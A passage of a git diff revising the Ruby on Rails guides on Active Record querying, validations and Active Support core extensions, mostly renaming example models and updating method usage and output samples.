`joins` method would generate one using the `INNER JOIN` function instead. +This would generate a query which contains a `LEFT OUTER JOIN` whereas the +`joins` method would generate one using the `INNER JOIN` function instead. ```ruby - SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1) + SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1) ``` If there was no `where` condition, this would generate the normal set of two queries. -If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned. +NOTE: Using `where` like this will only work when you pass it a Hash. For +SQL-fragments you need use `references` to force joined tables: + +```ruby +Article.includes(:comments).where("comments.visible = true").references(:comments) +``` + +If, in the case of this `includes` query, there were no comments for any +articles, all the articles would still be loaded. By using `joins` (an INNER +JOIN), the join conditions **must** match, otherwise no records will be +returned. + + Scopes ------ @@ -1106,7 +1149,7 @@ Scoping allows you to specify commonly-used queries which can be referenced as m To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base scope :published, -> { where(published: true) } end ``` @@ -1114,7 +1157,7 @@ end This is exactly the same as defining a class method, and which you use is a matter of personal preference: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base def self.published where(published: true) end @@ -1124,7 +1167,7 @@ end Scopes are also chainable within scopes: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base scope :published, -> { where(published: true) } scope :published_and_commented, -> { published.where("comments_count > 0") } end @@ -1133,14 +1176,14 @@ end To call this `published` scope we can call it on either the class: ```ruby -Post.published # => [published posts] +Article.published # => [published articles] ``` -Or on an association consisting of `Post` objects: +Or on an association consisting of `Article` objects: ```ruby category = Category.first -category.posts.published # => [published posts belonging to this category] +category.articles.published # => [published articles belonging to this category] ``` ### Passing in arguments @@ -1148,21 +1191,21 @@ category.posts.published # => [published posts belonging to this category] Your scope can take arguments: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base scope :created_before, ->(time) { where("created_at < ?", time) } end ``` -This may then be called using this: +Call the scope as if it were a class method: ```ruby -Post.created_before(Time.zone.now) +Article.created_before(Time.zone.now) ``` However, this is just duplicating the functionality that would be provided to you by a class method. ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base def self.created_before(time) where("created_at < ?", time) end @@ -1172,7 +1215,7 @@ end Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects: ```ruby -category.posts.created_before(time) +category.articles.created_before(time) ``` ### Applying a default scope @@ -1204,6 +1247,59 @@ class Client < ActiveRecord::Base end ``` +### Merging of scopes + +Just like `where` clauses scopes are merged using `AND` conditions. + +```ruby +class User < ActiveRecord::Base + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.active.inactive +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' +``` + +We can mix and match `scope` and `where` conditions and the final sql +will have all conditions joined with `AND`. + +```ruby +User.active.where(state: 'finished') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished' +``` + +If we do want the `last where clause` to win then `Relation#merge` can +be used. + +```ruby +User.active.merge(User.inactive) +# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive' +``` + +One important caveat is that `default_scope` will be prepended in +`scope` and `where` conditions. + +```ruby +class User < ActiveRecord::Base + default_scope { where state: 'pending' } + scope :active, -> { where state: 'active' } + scope :inactive, -> { where state: 'inactive' } +end + +User.all +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' + +User.active +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active' + +User.where(state: 'inactive') +# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive' +``` + +As you can see above the `default_scope` is being merged in both +`scope` and `where` conditions. + ### Removing All Scoping If we wish to remove scoping for any reason we can use the `unscoped` method. This is @@ -1211,7 +1307,7 @@ especially useful if a `default_scope` is specified in the model and should not applied for this particular query. ```ruby -Client.unscoped.all +Client.unscoped.load ``` This method removes all scoping and will do a normal query on the table. @@ -1221,21 +1317,75 @@ recommended that you use the block form of `unscoped`: ```ruby Client.unscoped { - Client.created_before(Time.zome.now) + Client.created_before(Time.zone.now) } ``` Dynamic Finders --------------- -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` and `find_all_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and `find_all_by_locked` methods. - -You can also use `find_last_by_*` methods which will find the last record matching your argument. +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods. You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`. +Understanding The Method Chaining +--------------------------------- + +The Active Record pattern implements [Method Chaining](http://en.wikipedia.org/wiki/Method_chaining), +which allow us to use multiple Active Record methods together in a simple and straightforward way. + +You can chain methods in a statement when the previous method called returns an +`ActiveRecord::Relation`, like `all`, `where`, and `joins`. Methods that return +a single object (see [Retrieving a Single Object Section](#retrieving-a-single-object)) +have to be at the end of the statement. + +There are some examples below. This guide won't cover all the possibilities, just a few as examples. +When an Active Record method is called, the query is not immediately generated and sent to the database, +this just happens when the data is actually needed. So each example below generates a single query. + +### Retrieving filtered data from multiple tables + +```ruby +Person + .select('people.id, people.name, comments.text') + .joins(:comments) + .where('comments.created_at > ?', 1.week.ago) +``` + +The result should be something like this: + +```sql +SELECT people.id, people.name, comments.text +FROM people +INNER JOIN comments + ON comments.person_id = people.id +WHERE comments.created_at = '2015-01-01' +``` + +### Retrieving specific data from multiple tables + +```ruby +Person + .select('people.id, people.name, companies.name') + .joins(:company) + .find_by('people.name' => 'John') # this should be the last +``` + +The above should generate: + +```sql +SELECT people.id, people.name, companies.name +FROM people +INNER JOIN companies + ON companies.person_id = people.id +WHERE people.name = 'John' +LIMIT 1 +``` + +NOTE: Remember that, if `find_by` returns more than one registry, it will take just the first and ignore the others. Note the `LIMIT 1` statement above. + Find or Build a New Object -------------------------- @@ -1265,7 +1415,7 @@ COMMIT The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). -Suppose we want to set the 'locked' attribute to true if we're +Suppose we want to set the 'locked' attribute to `false` if we're creating a new record, but we don't want to include it in the query. So we want to find the client named "Andy", or if that client doesn't exist, create a client named "Andy" which is not locked. @@ -1342,7 +1492,12 @@ If you'd like to use your own SQL to find records in a table you can use `find_b ```ruby Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id - ORDER clients.created_at desc") + ORDER BY clients.created_at desc") +# => [ + #<Client id: 1, first_name: "Lucas" >, + #<Client id: 2, first_name: "Jan" >, + # ... +] ``` `find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. @@ -1352,19 +1507,23 @@ Client.find_by_sql("SELECT * FROM clients `find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. ```ruby -Client.connection.select_all("SELECT * FROM clients WHERE id = '1'") +Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'") +# => [ + {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, + {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} +] ``` ### `pluck` -`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. +`pluck` can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. ```ruby Client.where(active: true).pluck(:id) # SELECT id FROM clients WHERE active = 1 # => [1, 2, 3] -Client.uniq.pluck(:role) +Client.distinct.pluck(:role) # SELECT DISTINCT role FROM clients # => ['admin', 'member', 'guest'] @@ -1373,17 +1532,17 @@ Client.pluck(:id, :name) # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] ``` -`pluck` makes it possible to replace code like +`pluck` makes it possible to replace code like: ```ruby Client.select(:id).map { |c| c.id } # or Client.select(:id).map(&:id) # or -Client.select(:id).map { |c| [c.id, c.name] } +Client.select(:id, :name).map { |c| [c.id, c.name] } ``` -with +with: ```ruby Client.pluck(:id) @@ -1391,6 +1550,37 @@ Client.pluck(:id) Client.pluck(:id, :name) ``` +Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, +without constructing `ActiveRecord` objects. This can mean better performance for +a large or often-running query. However, any model method overrides will +not be available. For example: + +```ruby +class Client < ActiveRecord::Base + def name + "I am #{super}" + end +end + +Client.select(:name).map &:name +# => ["I am David", "I am Jeremy", "I am Jose"] + +Client.pluck(:name) +# => ["David", "Jeremy", "Jose"] +``` + +Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate +query, and thus cannot be chained with any further scopes, although it can work with +scopes already constructed earlier: + +```ruby +Client.pluck(:name).limit(1) +# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8> + +Client.limit(1).pluck(:name) +# => ["David"] +``` + ### `ids` `ids` can be used to pluck all the IDs for the relation using the table's primary key. @@ -1412,18 +1602,21 @@ Person.ids Existence of Objects -------------------- -If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`. +If you simply want to check for the existence of the object there's a method called `exists?`. +This method will query the database using the same query as `find`, but instead of returning an +object or collection of objects it will return either `true` or `false`. ```ruby Client.exists?(1) ``` -The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists. +The `exists?` method also takes multiple values, but the catch is that it will return `true` if any +one of those records exists. ```ruby -Client.exists?(1,2,3) +Client.exists?(id: [1,2,3]) # or -Client.exists?([1,2,3]) +Client.exists?(name: ['John', 'Sergei']) ``` It's even possible to use `exists?` without any arguments on a model or a relation. @@ -1432,7 +1625,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati Client.where(first_name: 'Ryan').exists? ``` -The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise. +The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` +otherwise. ```ruby Client.exists? @@ -1444,20 +1638,20 @@ You can also use `any?` and `many?` to check for existence on a model or relatio ```ruby # via a model -Post.any? -Post.many? +Article.any? +Article.many? # via a named scope -Post.recent.any? -Post.recent.many? +Article.recent.any? +Article.recent.many? # via a relation -Post.where(published: true).any? -Post.where(published: true).many? +Article.where(published: true).any? +Article.where(published: true).many? # via an association -Post.first.categories.any? -Post.first.categories.many? +Article.first.categories.any? +Article.first.categories.many? ``` Calculations @@ -1482,7 +1676,7 @@ Client.where(first_name: 'Ryan').count You can also use various finder methods on a relation for performing complex calculations: ```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count +Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count ``` Which will execute: @@ -1547,19 +1741,26 @@ Running EXPLAIN You can run EXPLAIN on the queries triggered by relations. For example, ```ruby -User.where(id: 1).joins(:posts).explain +User.where(id: 1).joins(:articles).explain ``` may yield ``` -EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ -| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ -| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | -| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ +EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 ++----+-------------+----------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+----------+-------+---------------+ +| 1 | SIMPLE | users | const | PRIMARY | +| 1 | SIMPLE | articles | ALL | NULL | ++----+-------------+----------+-------+---------------+ ++---------+---------+-------+------+-------------+ +| key | key_len | ref | rows | Extra | ++---------+---------+-------+------+-------------+ +| PRIMARY | 4 | const | 1 | | +| NULL | NULL | NULL | 1 | Using where | ++---------+---------+-------+------+-------------+ + 2 rows in set (0.00 sec) ``` @@ -1569,15 +1770,15 @@ Active Record performs a pretty printing that emulates the one of the database shells. So, the same query running with the PostgreSQL adapter would yield instead ``` -EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1 +EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 QUERY PLAN ------------------------------------------------------------------------------ Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) - Join Filter: (posts.user_id = users.id) + Join Filter: (articles.user_id = users.id) -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) Index Cond: (id = 1) - -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) - Filter: (posts.user_id = 1) + -> Seq Scan on articles (cost=0.00..28.88 rows=8 width=4) + Filter: (articles.user_id = 1) (6 rows) ``` @@ -1586,69 +1787,43 @@ may need the results of previous ones. Because of that, `explain` actually executes the query, and then asks for the query plans. For example, ```ruby -User.where(id: 1).includes(:posts).explain +User.where(id: 1).includes(:articles).explain ``` yields ``` EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ -| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ -| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | -+----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ -1 row in set (0.00 sec) ++----+-------------+-------+-------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+-------+-------+---------------+ +| 1 | SIMPLE | users | const | PRIMARY | ++----+-------------+-------+-------+---------------+ ++---------+---------+-------+------+-------+ +| key | key_len | ref | rows | Extra | ++---------+---------+-------+------+-------+ +| PRIMARY | 4 | const | 1 | | ++---------+---------+-------+------+-------+ -EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1) -+----+-------------+-------+------+---------------+------+---------+------+------+-------------+ -| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -+----+-------------+-------+------+---------------+------+---------+------+------+-------------+ -| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | -+----+-------------+-------+------+---------------+------+---------+------+------+-------------+ 1 row in set (0.00 sec) -``` - -under MySQL. -### Automatic EXPLAIN +EXPLAIN for: SELECT `articles`.* FROM `articles` WHERE `articles`.`user_id` IN (1) ++----+-------------+----------+------+---------------+ +| id | select_type | table | type | possible_keys | ++----+-------------+----------+------+---------------+ +| 1 | SIMPLE | articles | ALL | NULL | ++----+-------------+----------+------+---------------+ ++------+---------+------+------+-------------+ +| key | key_len | ref | rows | Extra | ++------+---------+------+------+-------------+ +| NULL | NULL | NULL | 1 | Using where | ++------+---------+------+------+-------------+ -Active Record is able to run EXPLAIN automatically on slow queries and log its -output. This feature is controlled by the configuration parameter -```ruby -config.active_record.auto_explain_threshold_in_seconds -``` - -If set to a number, any query exceeding those many seconds will have its EXPLAIN -automatically triggered and logged. In the case of relations, the threshold is -compared to the total time needed to fetch records. So, a relation is seen as a -unit of work, no matter whether the implementation of eager loading involves -several queries under the hood. - -A threshold of `nil` disables automatic EXPLAINs. - -The default threshold in development mode is 0.5 seconds, and `nil` in test and -production modes. - -INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless -of the value of the threshold. - -#### Disabling Automatic EXPLAIN - -Automatic EXPLAIN can be selectively silenced with `ActiveRecord::Base.silence_auto_explain`: - -```ruby -ActiveRecord::Base.silence_auto_explain do - # no automatic EXPLAIN is triggered here -end +1 row in set (0.00 sec) ``` -That may be useful for queries you know are slow but fine, like a heavyweight -report of an admin interface. - -As its name suggests, `silence_auto_explain` only silences automatic EXPLAINs. -Explicit calls to `ActiveRecord::Relation#explain` run. +under MySQL. ### Interpreting EXPLAIN diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index 5797c93ae7..8c832bafff 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Validations ========================= @@ -85,7 +87,7 @@ end We can see how it works by looking at some `rails console` output: ```ruby -$ rails console +$ bin/rails console >> p = Person.new(name: "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil> >> p.new_record? @@ -117,12 +119,11 @@ database only if the object is valid: * `save` * `save!` * `update` -* `update_attributes` -* `update_attributes!` +* `update!` The bang versions (e.g. `save!`) raise an exception if the record is invalid. -The non-bang versions don't: `save` and `update_attributes` return `false`, -`create` and `update` just return the objects. +The non-bang versions don't, `save` and `update` return `false`, +`create` just returns the object. ### Skipping Validations @@ -163,8 +164,8 @@ Person.create(name: nil).valid? # => false ``` After Active Record has performed validations, any errors found can be accessed -through the `errors` instance method, which returns a collection of errors. By -definition, an object is valid if this collection is empty after running +through the `errors.messages` instance method, which returns a collection of errors. +By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with `new` will not report errors even if it's @@ -176,28 +177,28 @@ class Person < ActiveRecord::Base end >> p = Person.new -#=> #<Person id: nil, name: nil> ->> p.errors -#=> {} +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {} >> p.valid? -#=> false ->> p.errors -#=> {name:["can't be blank"]} +# => false +>> p.errors.messages +# => {name:["can't be blank"]} >> p = Person.create -#=> #<Person id: nil, name: nil> ->> p.errors -#=> {name:["can't be blank"]} +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {name:["can't be blank"]} >> p.save -#=> false +# => false >> p.save! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank >> Person.create! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` `invalid?` is simply the inverse of `valid?`. It triggers your validations, @@ -244,7 +245,7 @@ line of code you can add the same kind of validation to several attributes. All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values -`:save` (the default), `:create` or `:update`. There is a default error +`:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers. @@ -338,7 +339,7 @@ set. In fact, this set can be any enumerable object. ```ruby class Account < ActiveRecord::Base validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "Subdomain %{value} is reserved." } + message: "%{value} is reserved." } end ``` @@ -358,10 +359,12 @@ given regular expression, which is specified using the `:with` option. ```ruby class Product < ActiveRecord::Base validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, - message: "Only letters allowed" } + message: "only allows letters" } end ``` +Alternatively, you can require that the specified attribute does _not_ match the regular expression by using the `:without` option. + The default error message is _"is invalid"_. ### `inclusion` @@ -426,7 +429,7 @@ class Essay < ActiveRecord::Base validates :content, length: { minimum: 300, maximum: 400, - tokenizer: lambda { |str| str.scan(/\w+/) }, + tokenizer: lambda { |str| str.split(/\s+/) }, too_short: "must have at least %{count} words", too_long: "must have at most %{count} words" } @@ -435,12 +438,10 @@ end Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should -provide a personalized message or use `validates_presence_of` instead. When +provide a personalized message or use `presence: true` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`. -The `size` helper is an alias for `length`. - ### `numericality` This helper validates that your attributes have only numeric values. By @@ -488,6 +489,8 @@ constraints to acceptable values: * `:even` - Specifies the value must be an even number if set to true. The default error message for this option is _"must be even"_. +NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it. + The default error message is _"is not a number"_. ### `presence` @@ -527,9 +530,57 @@ If you validate the presence of an object associated via a `has_one` or `marked_for_destruction?`. Since `false.blank?` is true, if you want to validate the presence of a boolean -field you should use `validates :field_name, inclusion: { in: [true, false] }`. +field you should use one of the following validations: + +```ruby +validates :boolean_field_name, presence: true +validates :boolean_field_name, inclusion: { in: [true, false] } +validates :boolean_field_name, exclusion: { in: [nil] } +``` + +By using one of these validations, you will ensure the value will NOT be `nil` +which would result in a `NULL` value in most cases. + +### `absence` + +This helper validates that the specified attributes are absent. It uses the +`present?` method to check if the value is not either nil or a blank string, that +is, a string that is either empty or consists of whitespace. + +```ruby +class Person < ActiveRecord::Base + validates :name, :login, :email, absence: true +end +``` + +If you want to be sure that an association is absent, you'll need to test +whether the associated object itself is absent, and not the foreign key used +to map the association. + +```ruby +class LineItem < ActiveRecord::Base + belongs_to :order + validates :order, absence: true +end +``` + +In order to validate associated records whose absence is required, you must +specify the `:inverse_of` option for the association: + +```ruby +class Order < ActiveRecord::Base + has_many :line_items, inverse_of: :order +end +``` + +If you validate the absence of an object associated via a `has_one` or +`has_many` relationship, it will check that the object is neither `present?` nor +`marked_for_destruction?`. -The default error message is _"can't be empty"_. +Since `false.present?` is false, if you want to validate the absence of a boolean +field you should use `validates :field_name, exclusion: { in: [true, false] }`. + +The default error message is _"must be blank"_. ### `uniqueness` @@ -537,7 +588,9 @@ This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, -you must create a unique index in your database. +you must create a unique index on both columns in your database. See +[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html) +for more details about multiple column indexes. ```ruby class Account < ActiveRecord::Base @@ -578,10 +631,6 @@ The default error message is _"has already been taken"_. This helper passes the record to a separate class for validation. ```ruby -class Person < ActiveRecord::Base - validates_with GoodnessValidator -end - class GoodnessValidator < ActiveModel::Validator def validate(record) if record.first_name == "Evil" @@ -589,6 +638,10 @@ class GoodnessValidator < ActiveModel::Validator end end end + +class Person < ActiveRecord::Base + validates_with GoodnessValidator +end ``` NOTE: Errors added to `record.errors[:base]` relate to the state of the record @@ -606,10 +659,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and validator class as `options`: ```ruby -class Person < ActiveRecord::Base - validates_with GoodnessValidator, fields: [:first_name, :last_name] -end - class GoodnessValidator < ActiveModel::Validator def validate(record) if options[:fields].any?{|field| record.send(field) == "Evil" } @@ -617,6 +666,39 @@ class GoodnessValidator < ActiveModel::Validator end end end + +class Person < ActiveRecord::Base + validates_with GoodnessValidator, fields: [:first_name, :last_name] +end +``` + +Note that the validator will be initialized *only once* for the whole application +life cycle, and not on each validation run, so be careful about using instance +variables inside it. + +If your validator is complex enough that you want instance variables, you can +easily use a plain old Ruby object instead: + +```ruby +class Person < ActiveRecord::Base + validate do |person| + GoodnessValidator.new(person).validate + end +end + +class GoodnessValidator + def initialize(person) + @person = person + end + + def validate + if some_complex_condition_involving_ivars_and_private_methods? + @person.errors[:base] << "This person is evil" + end + end + + # ... +end ``` ### `validates_each` @@ -629,7 +711,7 @@ we don't want names and surnames to begin with lower case. ```ruby class Person < ActiveRecord::Base validates_each :name, :surname do |record, attr, value| - record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/ end end ``` @@ -667,8 +749,8 @@ class Topic < ActiveRecord::Base validates :title, length: { is: 5 }, allow_blank: true end -Topic.create("title" => "").valid? # => true -Topic.create("title" => nil).valid? # => true +Topic.create(title: "").valid? # => true +Topic.create(title: nil).valid? # => true ``` ### `:message` @@ -696,7 +778,7 @@ class Person < ActiveRecord::Base validates :age, numericality: true, on: :update # the default (validates on both create and update) - validates :name, presence: true, on: :save + validates :name, presence: true end ``` @@ -714,7 +796,7 @@ end Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank ``` -There is also an ability to pass custom exception to `:strict` option +There is also an ability to pass custom exception to `:strict` option. ```ruby class Person < ActiveRecord::Base @@ -802,7 +884,7 @@ should happen, an `Array` can be used. Moreover, you can apply both `:if` and ```ruby class Computer < ActiveRecord::Base validates :mouse, presence: true, - if: ["market.retail?", :desktop?] + if: ["market.retail?", :desktop?], unless: Proc.new { |c| c.trackpad.present? } end ``` @@ -841,8 +923,8 @@ end The easiest way to add custom validators for validating individual attributes is with the convenient `ActiveModel::EachValidator`. In this case, the custom validator class must implement a `validate_each` method which takes three -arguments: record, attribute and value which correspond to the instance, the -attribute to be validated and the value of the attribute in the passed +arguments: record, attribute, and value. These correspond to the instance, the +attribute to be validated, and the value of the attribute in the passed instance. ```ruby @@ -923,12 +1005,12 @@ end person = Person.new person.valid? # => false -person.errors +person.errors.messages # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]} person = Person.new(name: "John Doe") person.valid? # => true -person.errors # => [] +person.errors.messages # => {} ``` ### `errors[]` @@ -1060,15 +1142,15 @@ generating a scaffold, Rails will put some ERB into the `_form.html.erb` that it generates that displays the full list of errors on that model. Assuming we have a model that's been saved in an instance variable named -`@post`, it looks like this: +`@article`, it looks like this: ```ruby -<% if @post.errors.any? %> +<% if @article.errors.any? %> <div id="error_explanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2> <ul> - <% @post.errors.full_messages.each do |msg| %> + <% @article.errors.full_messages.each do |msg| %> <li><%= msg %></li> <% end %> </ul> @@ -1082,7 +1164,7 @@ the entry. ``` <div class="field_with_errors"> - <input id="post_title" name="post[title]" size="30" type="text" value=""> + <input id="article_title" name="article[title]" size="30" type="text" value=""> </div> ``` diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index 23736020ec..c857f30541 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Support Core Extensions ============================== @@ -10,7 +12,7 @@ After reading this guide, you will know: * What Core Extensions are. * How to load all extensions. * How to cherry-pick just the extensions you want. -* What extensions ActiveSupport provides. +* What extensions Active Support provides. -------------------------------------------------------------------------------- @@ -37,9 +39,10 @@ For every single method defined as a core extension this guide has a note that s NOTE: Defined in `active_support/core_ext/object/blank.rb`. -That means that this single call is enough: +That means that you can require it like this: ```ruby +require 'active_support' require 'active_support/core_ext/object/blank' ``` @@ -52,6 +55,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb, Thus, to load all extensions to `Object` (including `blank?`): ```ruby +require 'active_support' require 'active_support/core_ext/object' ``` @@ -60,6 +64,7 @@ require 'active_support/core_ext/object' You may prefer just to load all core extensions, there is a file for that: ```ruby +require 'active_support' require 'active_support/core_ext' ``` @@ -96,12 +101,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space: WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank. -For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present: +For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present: ```ruby -def ensure_session_key! - if @key.blank? - raise ArgumentError, 'A key is required...' +def authenticate(controller, &login_procedure) + token, options = token_and_options(controller.request) + unless token.blank? + login_procedure.call(token, options) end end ``` @@ -153,12 +159,12 @@ Active Support provides `duplicable?` to programmatically query an object about ```ruby "foo".duplicable? # => true -"".duplicable? # => true +"".duplicable? # => true 0.0.duplicable? # => false -false.duplicable? # => false +false.duplicable? # => false ``` -By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects. +By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, module, and method objects. WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case. @@ -166,7 +172,7 @@ NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. ### `deep_dup` -The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: +The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: ```ruby array = ['string'] @@ -175,14 +181,14 @@ duplicate = array.dup duplicate.push 'another-string' # the object was duplicated, so the element was added only to the duplicate -array #=> ['string'] -duplicate #=> ['string', 'another-string'] +array # => ['string'] +duplicate # => ['string', 'another-string'] duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed in both arrays -array #=> ['foo'] -duplicate 